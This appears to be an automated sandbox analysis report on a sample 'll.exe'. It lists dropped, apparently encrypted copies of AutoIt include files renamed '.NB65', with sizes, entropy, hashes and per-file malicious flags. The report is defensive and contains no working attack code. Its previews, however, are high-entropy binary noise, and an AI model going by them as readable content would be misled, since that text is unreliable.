.q..\..z..5.3/....k?.,r}>....Q......M..h2.9..<;.r...I...x../W.....y..4....D.........c.*..U}.|y.L]..e.n1.8........{.D.....C..T..X._..y9).....o...C.".]......T.E.X.hj.....7.......jI..R.T.9...T..9.+.[.;.{....%.lj...xi.t\..C.........R"..k..-.;_<.eqi.M...x.;.%d.Ui..+.?.Tq..t.+.....:Q.k..;....7.>..B+...S...S..2.0.O@(..th..

C:\Program Files (x86)\autoit3\Include\WinAPICom.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):10086
Entropy (8bit):7.978813860253506
Encrypted:false
SSDEEP:
MD5:60C13BC11A691D5E3F5F8FF02D3A1A4D
SHA1:2C683C369D693CCC9A1DC373A9DACFA2FE951C18
SHA-256:319A470F66E1C9C8947033CDB49421A6056C5094AD23E4F13D8EF2A2648899B3
SHA-512:1C86EEB74BDBD7E301AC4F1410B0F22EE180F553EE7B845DFC0DE8EE94DD1DDA429D6E3FB946393AA869966BD5BF8A962AA9AFBEE437FD7B6625629AF2F56EC1
Malicious:false
Preview:.~L.W..h........u..s.x......:.......E..z.<",.U"..p.=!.K.$T.i..W^..a/.....l..5h..t.#4.....R,*....wI-2.....s~...t.2..ev....Ffx.......QH..<..m..]5...."0."....n.J....4.1..q.....3......@....].f..4. .-.(...^.A.w....S.x..:.....L..c/n !.e....,V..1.j.C`X...~......Ms.v$.....N..E.Ig..53M..?S.E..........c.IwZ...7.9.^.'4]hQ~...#.<.wO..c}...U..%2`U..^.Qu...r..g.kw......7g...M..'[..x6..-8.F.H>.....v..h.WK........R.6t.....Y."..n./..l...+^.C......b.D...l.Z;L..a.F{e!o.1rQ.B....g.t....v..9N...&.L...K.$.Q\..~..l..f..m.AHH..cS6...yS...6C.....V..&._..i.y.+r.<....UN..JJ7...jf.i...ja.....wrT....Ka.R.E$...8.C.w.S..Ig>..M.."........ 1...{`..q+}s..5C..s....?=.....G...~.g..Y...2W.7.*.cJFcZ.....A..Q.d.....[BW.RD.....$..e...<..3m...?....Jp.O..!l.l.$.g ..~..J....'.dl..........|...0.fw/. .[?.P-Y.J.YoY..p..a....RgL.. .?......w......7..}.!..gb.U..$u.Z?E.?.CN.}.iV..G..]......Q...].1.=........M....S..+.'-.5....O1....F#..h.B.|o....do.?......Q...q..e+.Ryz+Od.]..C{...< =..\.

C:\Program Files (x86)\autoit3\Include\WinAPIConstants.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):5807
Entropy (8bit):7.968455014471959
Encrypted:false
SSDEEP:
MD5:75FD1C7238669465FEEE7F18882A0E43
SHA1:46DA7609DADE192F3A6151D9F8420698A1E30839
SHA-256:94CB42E297F465D4C646EE18E36964DCB427CFB3150BCDF461C8CD02B264E875
SHA-512:6677EEADCF28AF6FBA404F702E502E6B677BC5E0528D8E058FFD4DFE775A0B916AE5329D7597AFA1DB4BD413C033BE32D9E3DD10003984302BF79F160B2E722F
Malicious:false
Preview:.^( G;.~..pS....&0eEL..........x%:.."q>....XJ.Z.....KK\...g.....c.k8.'......o*..5.'-.....cYg~..>:.....2...s.p<.7..]..^.v..O.I.W..=...d....>..~..x.).#.3.a...A.M..Lu...g.l......K...y.2..<E..S.......'.C..{...ql..}y..,.$..4......ql.2..x~....>..........D5.v.Q&...S....^.......:..*Ke(K..%s.z.OM.r.W.Q.)...... KS.. .fL4..N.x...OF5g..#.7..i#..+].o....u.........+.@....x.-*.0.S.....l..A[Z..+...................a.:./.'n...9&..Mjc.@.......t..DKmz0..S.$*...^.4.....b'4.Ql..l..q./.|0....jBzbU.&v._..}M..QI..O..#.M=..>...'\....W.Rq.2.....?.. ..+T.a-.....r.7..F.w&..._.U.M...o......s...7........mU..r@.,..r..5..Wf$.....y.F..R7J.n.......5+$$.(^...!px..XGY.{.C.)..`&T.H.....Z#...B..A.4.e...|.o...Sw.zye...^..R.....AE...m.{.......].ae$2_F..n.t3....<..)...t"M.Bm...?.-.(.........u.K.".I....g...GP.v.o..z..|.1.U24[ .....Ns.i$-..A....>.J...7.w^Ja..b.....T....H.m........p..Z.l.4...].ewa.vS.Q.[....^.Sp....d.%...7....r..q...7/...T]...n]*......=..h.nwn.l4c(.8...V3F.QY.

C:\Program Files (x86)\autoit3\Include\WinAPIConv.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):29671
Entropy (8bit):7.9927253619844665
Encrypted:true
SSDEEP:
MD5:3777B5A1D12B5C599BE83FF293AC0B56
SHA1:602A9CB5662C84B9F19974CA4DDD5F1288B072FD
SHA-256:AB3BEB812F51957E489E3DA6BD3DF4ABD9065452C8083730FFF3C8E3F741BCB1
SHA-512:63667A6B9B2F5EC1DE1FC3FAA46458C9FF0D8FDB19C18FE2391AC1D1648F2FB7F9A4309A281EFE8640708776F5EDD29F731CA903380BDEDB176D6908C0B47D54
Malicious:true
Preview:..u....LG.B.m)..C..l..,......hz.9y.3.^U..v...kt>E....=hG...M'....C g..s....G....a7..{....V.....n......O.*?.^...W._.<...Ci.&B...O....G..7.(.jd4...6^.a4..L......Y`.;,.4M.&.>...}.p.LQ."..8.?.....or...$..3/.7RbB..P......D....pDH......K.....!`D.T%.}.....2........(q...i./.H....n.2P..oPM.........8(cyD....b.0.-...'..........S....I..(.."....L.uL..j...~.o..H.ft.Q>5..[,.....Wh....f.{|..Bm..`.s..z2.|.i.n+......9m. }......y...P...~.m.k..b.ogW..[..?...o.mN.6.....L.b.;...L.a..|../m$..?8w6H.^....m...s..O..:c..4.....jD..U.o....Q..4.(....I......6+!....Q...8?.A.pM.y..H"...2c..R..n..bt..Y.X.X.......Br....@.~.vGO.-)....A.1..}...D..J.Z4.P...B..&..j.....3M..R"..v;....<.r@R.~....%..x...k.3_..w....)...aA..ML.$.Y......?_..*.6.J..`.gMY..K ..F.0..O..#rc"t.......[k.......4.....3.....g.:.jj..h.@r...}e.@.`..;ma........S< h1dr.U..x....!....g...i..`|./..b?.`8..o.%N...4yj.*[.u..j&..J........L...^.w-~..7`V....L.?.D.Em.T.M.I&..... ..?7e.0..R5.e.X.H...+!5..,wJ/..&^v..........O

C:\Program Files (x86)\autoit3\Include\WinAPIDiag.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:PGP\011Secret Key -
Category:dropped
Size (bytes):33434
Entropy (8bit):7.9954660517619685
Encrypted:true
SSDEEP:
MD5:6D0C965E2FC59F160C11218EFC08A1A1
SHA1:23DAA5B8AF65D7417E24381917E7C45010AFF2AA
SHA-256:44874788E4FB55E6AC5DA8F486850E1F9DBB1AE3095E22CA12F463AE9CFA3262
SHA-512:C551ED5A40A2BB5B092C09F24E55A53248BC1D89EADE8326D1318BDC8DAB50E56510A320F601EE9ABFE05F26400D9FC6AB820073E1006E68C1725712B3D6551B
Malicious:true
Preview:...lrY.....tl.p^UA..2u.........g..B...E.z.@......._aK..*y.....Q.q.O>z.co.Bs.?...1..qVU........9v..Rs....K.Aq..........Q".....|.k..V;{.(.J.d./......A...........l...."1fNV...@Q..b..+..&....k..qO.%...(.S.l4{n*.b.....|...y...0.S...i.r.....r&K.....O..W`....'..j.,..Xi.N..Ez.Rati.'Y...[.R.j#..t.P..cp....[,....x......I,.R@.F].l....Wk...z..k..!.+..&.c1.S.7i......u#..W`.../.....].....W.m._..bd...E.......ca.&.Q..../.fZ....vw.7..N4...Sj...Oe.....O_ZZ....%.(. .......z<...La..zzI[..N.!7\..O,F`.O..aj..#y4..f.nE.s..3-.O.z..~.f3.$BZ.,3G...d.$.d#N.....|j8..N..R,..1.......'....m.>f....?I..T....n..5d#..j..D_\YSh.kA.+..g.v....W.....a.....Z.*.(c8H.[eO.l..g.@=.n%.0.'.....l.a`1..r..?..K.H,.*......2Z..;:.w.s.....@f..%.?#fbg.....M..);.I.\.w.~%5@...=...V..8........(...QCp.D....qBG...U%..s.RT6.).Y.~5.WY/..Z.?.QF..`...[]@:......v......(`(..q....w2..4...t.?H...H.|...U}F.9........3...'.)...U.....KE.4.Y.Tkj........T=7l..&."?.....i.".}k....eg..N/.G.xt.e....u..L.

C:\Program Files (x86)\autoit3\Include\WinAPIDlg.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):39558
Entropy (8bit):7.995437141570599
Encrypted:true
SSDEEP:
MD5:00BC239C559205B130B68642595802B2
SHA1:1C3883767748E9913E376A74786A75591E2A903A
SHA-256:348A6A149D13C00393A79273F397793126AD677955B8E421E68F3B842593DFBC
SHA-512:6B4465C889AFD006B47976E0189B408CEAE58C780AD91A9F6C437A937E19368EB7A9743E06F895A7310A2717EE7043DFC9FC928785906D0A56AD9CC45DC74660
Malicious:true
Preview:...5...(.......%S.Q......At....+.DS."....z.......K.I...PJ.\5Z.G.z....(.......X....OMrm.....1.c.Om.S..mh.[5.z^LJ....Y.y.8....??...R...........4.7.t>.4..Ca6o..C{.i.3"._E...e..'.9.h...*zM..9......1..I=..Y.....,............*.{..g!WoL[p.9q..)0...;{.1...)N...`.....s4%.a."..*;..'_+s..:*......h.H.d;.y.,U.(b...J...@../.).r.X..#.....S..<4;.E..4".&....G?...4K!.+'@..+ALQ...b+..&I.EC..tB_t'..1.5.z$.v.K.~.....dA....LO.E4..o.....l..9.|.kTf.Y..)..dn...aq.<...h.{K...]..l@.......,#`:M ..o..4%..=.FQ.........7..l...9W..a..Z*..d-nF.......R)...o3.....n...d..%.sDM...PE.A9 NN$...k...v.p0..c.8....gn@.....cWY%..D+._..Z....k....%Q....#....<. k.?'!.......M.d|.J......%@..Uf.6.q..Z.....U...E..[.......y._...u..aC...~...]M......LP.._..*'....s.`'...e.+.7[.y.9T.;..8..d...f...Z........?.Qc..=.\gL..R.@#..|k.Y=T.W.D.S.sM&....%.7.+..,...fJg..J.....WZ.Y>h..qs....$.....A.....tj"/Z..YMW.....9...WV....2(.?....`g|9.~Y.......s..J.........no,...i..`<'SY..r.Oh-..'YlB..M>.V.:..K

C:\Program Files (x86)\autoit3\Include\WinAPIError.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):12436
Entropy (8bit):7.986862638367302
Encrypted:false
SSDEEP:
MD5:FFF0F3F4B62774745839386C9DFFCE4B
SHA1:82DA847A035F80B57E3DB47B40E2D6B7E91E4B9E
SHA-256:3C494CF8554BEB402EAC277AAB6762220F61699F638BDDA89D65D212463CA042
SHA-512:68E1413FC89C0A0A0B563C2F0D489BAF5B970C7DA576E1465C9E38B5460AF466830ECC89BE4A6849536C1EDF2F70C6C9D1A3CA41A95F7AE4C5D51E7AEBEB7989
Malicious:false
Preview:.5E......HO'.N....Np..R5.0..7......C.i..G.s4"J.%k..(;...j.........b.x.H.. ..65>+L..5*.n..9.."W.[."....f.1.%..4?.[....,..3...%#k.Bf..DU..6o*).@0C........].%.d..z:.)...!.[ .e..`.U[.4.........v.WZv.Ac...zt7.....$...?.....4?..".....c..e..G*;.u(.....;E.@.....6...2.U....2$...L/.....)M.\.....Ln.BTKH..."...' .o.LH....(un...K1..#.3@........T...c..c..f..0@*r...\ga2..................X.`.c.y.}Z........d.@W.~......O.:..l.K..lF":........9].*...(......m.1.c..`m_>g~.Ld.V9}.......q.,....Q...@.B4...m.Jg=w..<...z...........J..-.I|...{3F.h.~5..c.......*.. .5.E.9y.U9....&.i.&..-......#.~.Y..|.{.....p`.i...j.,.1..zF...x...v9......,...RH....../.E.Z.+P.......X."....A....Wm...s#...%...).u.............}+..0dB|3.._+s...<p.......R......lg."..*..U....W..;..)&.6.....Iw6..(..:.8.2eK;Yl...c..>...,....w..a..m.a%...#qy..q..R(A..9...KZ._.!..q..m..U..tG..Wd.).;.l...^.....B.../.'.o.*JT..2..~R.U..B...PI_..qzOj\........i...H..^.....?H6.l...?`kL.E....@.p."9M..~..v...

C:\Program Files (x86)\autoit3\Include\WinAPIEx.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):2141
Entropy (8bit):7.913688083003911
Encrypted:false
SSDEEP:
MD5:59B91460838E22054CAB18C4C2EF7823
SHA1:CE35D9D1D462E61218C9F2A3655EEFD8153AE5D7
SHA-256:928EE0D0A7B5117DBD00C32C6E35DDE39E8D62D6A5FC669624ED7B075DFAB62F
SHA-512:ED9FE70DC00D6C60D3B3469B6A75AD64DA21522978DE0C79A4BB52615AE6B6D1989DA941F255247668A682FF280B28E9444BC997E120E5904A9A1E3DF5B1C4B4
Malicious:false
Preview:.V.).IX-.<..2&1O.g..B..6.y{.0..."NF1v.k.H.)x.@..BC......Z.&&O.Q..X.....2.........R.+......BA....q......w!VnU.3~N..7d.5...f.M.R....4...}k.n.#...p.k......xR.Scy.....H(.:f.)9.5........a8....?...s.N...6Q.6..y....^u.. .. ..K......p...%....&..504........%k).Y...a.Q.J.%..Q....pzR....(.'.u........(&...u....B.Q.._.B'....p.p.T......6%..aV). .....}5....d...;kz}<.:Q.lu/m..vU*.a..Kd.Y......Q.(Fz...|...........P.8..!m.U..;.....n.V..Z....^cP...d..>....#.%).Z:cO.#q.v..K....k....<._GG6..:5...'n.(P.k.T#......D.^..2.\..+.NDz..`.FY..b.......0......=,..2%.....Z.s.SdA^..M..@..nU{....N..^.._J..A4.d.%J..*.#.P<..g.....rj...ZUM.8b=a.i......o.{]..ZT`..o`..K,..U4I>...?.....g..X.V....q.G...;j....u....h#.q....%.fF.....}..}.(z+..."....fo..S.*...|...45..1..$.......g=xk2...0.Z.j..R.4`..@&..0l...m.O].U.w.I.n1.!....N...X.C\....l+s...a...<..*.U..~+..c...3.6y...Tb.t...o.&.zN...0+.K...[../u.w..&....F{.!.....O.....}...*"....c..:...k.9.....?.....-.....3J.b0.EB~4T..Gb6...

C:\Program Files (x86)\autoit3\Include\WinAPIFiles.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):96281
Entropy (8bit):7.9983099626274425
Encrypted:true
SSDEEP:
MD5:E67720CA9A08E59BBF1F72B75A2BDC5C
SHA1:A1CB62429461BE373FF705C6D060D5EEE50663D3
SHA-256:20974017FE01008924205FC6A78F96AC7E461D55BF5F2127AD99DBF6B364B46D
SHA-512:29EDF1E7D24FA677361F596A5C59BB109EF2E9835382183CC6C62361192FFCBA9C07AF64CF81F0616127D96D6FBDEA9D76CE6F6EFD2E7CA1F4E0BC296FC36C2E
Malicious:true
Preview:..K...{.u..I...U.....4.mY......~......1.a.........y...4,....qP.....K;.. #..xqYB\\..$.....3..._.ZX=ze...|.....]I..g..m....w.<.7.C~f.{=.(v...6E..,_...'..j..|....$ls...GU#w[..........p..U...zMG6....Kf......}........n.-jz\xb:{.P..Q....Z*.C.....'.nbt.....JI..|r.U|...:W$P.z.kXF.'.Q..4.......R...r..qv]8..].c.].\.].v..v.U..6....[..|..G.k)I..l.u.k.+.6CR..N+`a.G.E.E..>..%..p.pv...W.2.....<,..........P.N..j6;[.-8.x.....{3.iHj..7Q..1....C.(....{.s72.@..q.>q<....8.4.t..&...$.$.....s.....cS.$`....j....9.|....S..>...22....p..).n..qt..@...~...>]yN.Ku@N.|...o(w..I&.9._.~r.....u~..N....Y.......*.P..j...Q.b.D5..Cy..h<..8X.......J}.E.u3.......R?N>|.D.H.-#.8.bLF..H-...H...7.Tq.s....!.....#.&n.....o)...=\.33A..w....tZ.1..;|&.6...iLJ..&T..n...N.(..5...2Y.2=R...].....E....#....D.U7mc._...9..g=&#(uD.....u.........".V5#..m..{..y.*:.VV...a.h.+.1..N.H.%.........3....rO].G..T.a.J.;.u"........e.........MO./= ues...._.#y...`..O.z..{.n.O8o...E...c.=...f..1. ...'

C:\Program Files (x86)\autoit3\Include\WinAPIGdi.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):204183
Entropy (8bit):7.9991676754832985
Encrypted:true
SSDEEP:
MD5:B9A4CE53E14EE43A3F4023A9344AB4B1
SHA1:D6D14293D1DFD617FC215EEA4A3732C053262FD0
SHA-256:C859FBE61EA83C63D9EBD6B2F1036B4856C9CA103F0B94F119F4A70605AB4A4C
SHA-512:BEB77063BF1339D2053327F042D4BC0CE3ECD4654CCDBEB9C2EEC246048FC002C4BA667BF73DCD45C6A9F07E2302984C9C14D53871F1D1C557DE34441BAAA71A
Malicious:true
Preview:..-.$.4`. ......s..=............h/.x,.5..-...&|..B&.Er`K.(..;{#DMc......._c...P.....^.t.>.(....08.K.*_..<l..N."q.....p)..k.{.Z.+....dr?..t....:.B.|.cv@<...4.7..O%K..%.,.P"B..U..[.:k..~..ga...B..6......Z1lN:..#3.A....I.(...R.......:@C......qQ...q..d..'........&6&c..dIC..47P.F .'...2h=...c.@.&.......F{.K.~....5....._.F5.IvS.....x..S....E.|....Q.....ixx..d.........xD.;.......Xg......"...s..W..^.{a:Z{.x.T.]......q.&W..ig.;..'.k.../ct..d"q.....EF.p0...t..=...$..v.=w....|.`..9)....`.....m...P.._@..S..#W.1^.1b..(....!.x.....r..?.+...]W.... *...)~..1.UB\..`..."....L..w.)2r3.u4#.d;o....).m.O3X..R...7...+?,W....{1..=...}x..v.R....Z.*..k.{..t.b...XcMV...U...1.m.B...:q..i8.!..1Z...F........&.R.6.P5.'.....e...x..r..N....k...i1../>q-B..!...`.\2..2..VQ.(".:.`x......e....|UD...e....Z"Y.AOC..JO....Y..F..'.....O.>..H.......^..E1..4......D....e........U....'.w9...p$elZ $....;.N8....#@.......1.X.5%j$ m.........@0-1.w.../sL...s.... ....9.JmWB...n....).v.i

C:\Program Files (x86)\autoit3\Include\WinAPIGdiDC.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):20549
Entropy (8bit):7.9916919312862555
Encrypted:true
SSDEEP:
MD5:2F920EA0D4B05BF1512F2D5263D67CD0
SHA1:241366CF066F7E3F7423FFA54B176BB753C5AF15
SHA-256:19D8A00B3EC5A3282DA9F777BACA1BB6D7B4FECE359C9DAEAE216E8243377781
SHA-512:7145DB44066DFEDEC085EF8854B5D20AD175DD011359DB8ECD60C7D612E3A008819AE0079BD14264BCD0E1E80918C677C07BF3643A5A1F0FA6D6252FC97C35FC
Malicious:true
Preview:O+...F...s+x].~.2.......w-...".K..d...'.h......}.....}^io....+}.P.J.......s........D...r[|....s.Hp.=Z.....~.<....k}.......U,._O[..(.a..c..;|.}|......d..g...{... c].>..c.^uuZ.m...MD'.,].KRS.:..k"...". .jok...._G.."7Z]........t.x..........uN~......~,x...(,[.E......\..a.Ncz...w_..x....=....5..\.219....d=[q.%.2....y,.q......7.......e..{v.JT..8.\!.l......!...t.xj.mlfa..9..pT.(.BB...Q.(FTZ....'.gdf....w.^......Y..u........T}%~.0.e.~..pc.#..d....QZ.......R..?..........,.P...o_....J.......JU1.^],.%.Q.L2...?....)..u..{....p..Cl{O ..c...3.j.......e.F..m...n. q....y....W..j(...kA.b..cV..|..p.E.K.m.H.@p..T/+......g.O..al..;(.....]{c.-....1..,c.p}..*..3.'....:.!.du.........x.YC..q...aK5...K...X.9.)a)@c..<.d/(..7+..)..v2..0...+f.`..".8y.......h;...YG.h6.:.jQ:..5.\.b|.^.w:..lG........)f...w0...O&.J....d._.#..(Q.X5.....>V..~...b<.:..t.N:..y...EA.%.kPmKn...e......p@..nN....\....4..]..lZ..B_O^.....A..h._..Y..$.<O.....D^.F$5.*,]r..Uv.....D.;F)k4.o

C:\Program Files (x86)\autoit3\Include\WinAPIGdiInternals.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):30092
Entropy (8bit):7.994345423759359
Encrypted:true
SSDEEP:
MD5:ECF0B73E1389BF595FAF37C37962F8AA
SHA1:64E55B5C0D691E8F05191EDEDAF501BAC7A5BCFE
SHA-256:C8F5650275DF4F0E259CD2E7EB639183F523CF4A173678C6511BD51240E3082C
SHA-512:8789A934570CF85C6D826BD4438F7185EFC9FBA75FDC27B8CA811A6C9999036CD68BEC96DEAA2FE52D52B8366E3A6F6FFF49417360895EADB4449AAF710C54CB
Malicious:true
Preview:.V..Tank.6...}.{.u.$.9[.....\...._..u......H."...<.T.q.9:u......5#....a.3.......N..P....D.....<...0..:mZ...9.8..a..:.......+..:.n.#..`.?..B.....v/.=....Y.......vc..G.Re/.2P .Ot....._....9.....+d.....|....... ..|.}..^`....a5.......,<......*aw....^.... ..a.K....."?x..GN.(...;IX..N.r.cIY...x.9)!W.n........T6#y..paD.o.....1f..<WT...v.G...!x`pO.z."....6.qu...RP...0).......[Jl....6.q...&h.Z*&b1P..J..N...3]...~...[....DB..0KR..j....Y.x..G..1.D..P<...hL...`.....@..I..).b.m...B...{)...S.,K=]h.^..P..0..%....>u.......V.)Hy.nI..v.f..n.U...3........U.$.....$..[j.....O"...Z=..r...^...p...NT..{l@......1..{P.F..PBC...a..P.......U).N.........3.I......H.;-g.@.E..z...-F.9..E...,u+/....[....G@.6.......q.</...>._.X.....g~...QN(..Y6=,p.\.DaLq..~~P.?.j.Kv..L..c..n...7z.Y$s.xf.M.r..$%.......w...o......9Mi.0R0...'-.......o..h+[a...'...0..oE..*.-.O..-.i....0...9.......d.zb6.....d".`r/1!{...P.Fv..&....."....PL.k........j....2T.....'....OI4..QL...Y.6eF..

C:\Program Files (x86)\autoit3\Include\WinAPIHObj.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):13649
Entropy (8bit):7.9868055924570935
Encrypted:false
SSDEEP:
MD5:7CFC9E1C999EE8D2B2F6D443CBAFEC12
SHA1:C21C3CFECCC533E921BE57B9A7E1524064D522BD
SHA-256:7F65BEF68C5A14087EED570A504220C1F1E0DA9C43D3D559EBE22EB59E72E7BD
SHA-512:7C6478E53D0CAB629AB99A0069146B76104FAFAF32F8F360C293B17EDA0891CE310CE79D9398702F744DFE759A9820A31A1CD02645926A96579EBBD14224BA3D
Malicious:false
Preview:xM.~....n..|i..;............Z.Gc...?{h&..<6P?.%`..z.m..'....KB...x{.k......}.I..H.#.....y.eR.....5... ....9...$...ox!...~.U7.?%.*........I.......t!.@..V.....r).V....&=...Imr..cg..vCE.I.q...Ug..-...,....h....S..C9.......d...].D...O!..}O.f.m.....FC..R...0.. ..-.u..|.yk......+..n..M..V..Vqn:].....i..e.!...n.....4.Q...g..DVq...H2..W ..Y:..R.7l.;t..l.d...ZD.k.v.-.B..]&.F..j.2...E.R.Js:Z....T4.4.w.,..Zs....8..;....Zryn.v...QP....C.R.X.2.0+.4,.1B.WJ.]... ...#........Cu..$.g...#.%.(...r.V...^.\...8....A>....%...(.....IM..*.v..Y..Z..=.....{\..2...o...=....^.9*...E..:..T...E.Mf..A>..w..@i.3.<..4.8..-}....*....Q..m......@...p.......xF..q..Q....m.V...4[../.j;.7.....x..+vo....E.[...xl..8....z.'I||..s.\....3=..<..|.l..Hs.0FzZ.%.....>.....P..H......J+(h....d.A.g.`.......4.{$...>.P..'&.8.!g.c+.....8...v.......C.....lXFk..|m...+...VVf..n`~.m....C.AB..C..`3.8.......Ud.U..L^....<DN..x.7...VY:.f.....S.3f..-.... ...p-1.u...f..Q.Y~.1.yM..5...... .!."A.=~]L....

C:\Program Files (x86)\autoit3\Include\WinAPIIcons.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):24603
Entropy (8bit):7.993091016254992
Encrypted:true
SSDEEP:
MD5:508171D70F3AB4D2D58A0ECA5C5E7F4C
SHA1:6C363FBF2E1927321B1710AAC0F751B359459100
SHA-256:33B6F693FBA51803467882D488A69186ECD5BB765FA23A8C19888777587309DE
SHA-512:85E16BE1901A9927CDAE74C3A9B5E23422D551425C8ADE3DC049FFECEA3CC33B71B16213B43AC9D5F88AF19F7DC7EE361529A91CD5EC48E7935F6A726A1A56B1
Malicious:true
Preview:Cxy......'.F.sAtX...'..:]..v..G.............SDV............x~.D..+....p....}#...e...C....T.%/E..x.....+..q.3....W........uK..I...........jb..|...I..H.l..Z.t5p._..zEq8J...o...!..U..hE........#....N..N.O.'5.....a.N9t.)P.#.Z.v/7zH........L.72.c..qRXkv.w....)$....a.[....w..3.RbUL.;....R0..K...`.;..CS...$X...`..y..!l..."..y........L..j.I.z5..O.A..(....D....,.'...Xw..S.C.aJ.A...^. r..7...).R.'.....t.....N)HT+Y..L....[.R..S:.ZP.?g..4..7{].@o.3^m.2.d.r-p.0..|`.AQ.\...9.k.......).~ .n.w.U......7.....tG.=..n.lX.. ..1...n..._.&.#...x.-ro..L....=..RS..z~.:..q..^...A..q.}.'N....D....}.VVr..C.Q...I..=.0..W&_1.....TYl....Sq.)..[.,...T@........*..\..[.0-..A.7j..P..'......!l.l4_P.dG+.C}k>...[..6....Zt:N ..oe{R#..J.!...B.V\.....Z.&..M..s3.$O..z.+;..S..!x.<.+.[8...dRS.|.r..-.L@-#.....M.+..'z6.7..z.{<.g.X..#.c.B.J..V.K]....."LDUU...c......7k.tZ.%..CT...S~DrB[.F.2.p..?........R[...6.*..{..8O....m...\..>./2G..y.mo.b..FT...<,P.<>.u.v..4.BKl.+..I%.....x..

C:\Program Files (x86)\autoit3\Include\WinAPIInternals.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):19405
Entropy (8bit):7.988591447703186
Encrypted:false
SSDEEP:
MD5:E729E3E2F92CF495D54F635568D94F9C
SHA1:DDA76AA5B818D93CAF10F8533DA84337D6767486
SHA-256:2074C2ECE8CE3D68DCCEEAD519FCDE47A8F65963FF6F2B8CB5B3FB44161A3E0F
SHA-512:3FB0701400B14987D2E79427BFD34C369CDB8A8DC642D332B88BD3F368ECC47F370318BE5A6822B86032DC9A6D423520CC88F3FE2A6D3718B5F279A197D626CC
Malicious:false
Preview:.=.Tc.<k......J\v...L.....k.C....O..l%q......g.M..D.... Xk,.I....5-;....wlo.c.5QG7....O.q...]....Ib...{....H.qd..|...X....Ps>.....Y.Gw."..NnR...@..LIc.B....=Hj..)t......<'.dl.u.94.f.T.V.0et|..*.........EW.>... .&.....B.`.z..".......E...4..7.0..a..t8E..~.+x....P>}...+.z.Y.R$/9....4........."5!..Z...7O....3....j..I..f..T.N....|.{".]..3.S.$.?..)B/.p.. ..^.Y.E...H..sruk,.z>.<.9...5.Z1'.;....;...,!....Fj..g..W.....z.....RAE..n5..$(P.y.....R..}B.r.*^....ZbVO......|..g....wF/+.7..-..8R^*.(....#KOW.o...._.....V...W..&.=_.@.[r..C}DIy-.._G...af!.G..).9..8.f.E$3..+....;.....DG...iC .D{;.E..q,&+...B.s-..z..*.-....1.+..N..-.....)Qj.W.....Iw......mnD.a.........6....M.8.U~.....h.W...pPKq.K.;..S....:..?.k.1....%.yMeN.|.=..(P.u...7:.........=;.a.#.k....#.$.T..(..6.4a..&..gv...........C`.........{.j..........:...y..v..Pi).d\..wqB[. :.S.6...D6.<.M.r@.;.....3d}.A...!...z..N......C.l.J. d.U......vu.`.........x.'s.7.Q..b..{RL...4.....L........-Y.X......

C:\Program Files (x86)\autoit3\Include\WinAPILocale.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):21381
Entropy (8bit):7.991069120796561
Encrypted:true
SSDEEP:
MD5:43A24166F088DDC37A3004FE352F47F2
SHA1:00ABD55BD6070637915BCC5632FC22C3E1E6AD52
SHA-256:BC82765E5EC6FB847F921ED0A2CFB80C9E4FB368EF1441212299D4C09528F41A
SHA-512:198D6CE806AC68C15A3084FF02DC900FA302F50687C976DCE078BB7EDB610F4BCFD7B51CD78F4298854D65D7F5CC24BE5B7CAF4C95FA96F585E1C92B75341CAF
Malicious:true
Preview:.2..;...._)'.*&...&$.s..4~nu../.....:.*}.6.m...+1ttY...`lE..*.heK...$.gK{..k*...,"x..<."X..[N.+.`&.sMW..3...H.......R...wQy.9.!.hP3+>..V...>6*..K..w.1P.~......@..Z.....R.....y.%.(..?..+.7.&..|...D....)Gi..b..K..I.=.6D.$......T...V..A.A..zK...+mry\.l5../.$R..t..Q.....<p<-.....y..rF.J%..(.5......L..o6v.Y.X....D......$..R..J.".:.)....p...]...o...v.G.8.L..:._.......Jgt......9".....&]).p .(...3...S..8..JU|..G!.8..%T;.t...9.;....w..?.....m...h...&.iU3..........._u8.%........O.%..E.0... .G@.....IB.9a=.k.......w..H...jZ.2...........Gg,.}.C.._.d<D4.....[..e.7...F.V..h..."..z....J..'......<....h.[~w8g...<q".?....e.e..)....*.....]...tz>.:-c...7...... .G.B.+........!..vWQ(.}..........l..]..g.d..".8.....BP.B..R>."..X.b..'....@.v+.Cg...zp.$...o^......T e.....xD...+...J'F....>. /.......Af.z...@z.......7.=...k.f.&Y.p3*..TF.N..7.I._.........|...-VE.&h{...$/.s.k.Syp...P.7Q.8...%&. .Q...R2..w.;.t.:\{t.Fi7/.z.*s......}....r..1...w0..h..v.OT......7+...d....>...N>.[.

C:\Program Files (x86)\autoit3\Include\WinAPIMem.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):22024
Entropy (8bit):7.992962628179706
Encrypted:true
SSDEEP:
MD5:80C3FE5574FA5F869A89A8566593F049
SHA1:FDB0B5F3AA0FC7C90D4468B25341BA3AA760B6D5
SHA-256:6D80FEDE305E8C9B10F2BA307F3B35FD466DDE2EA1F96A049CD89E18C9BC155F
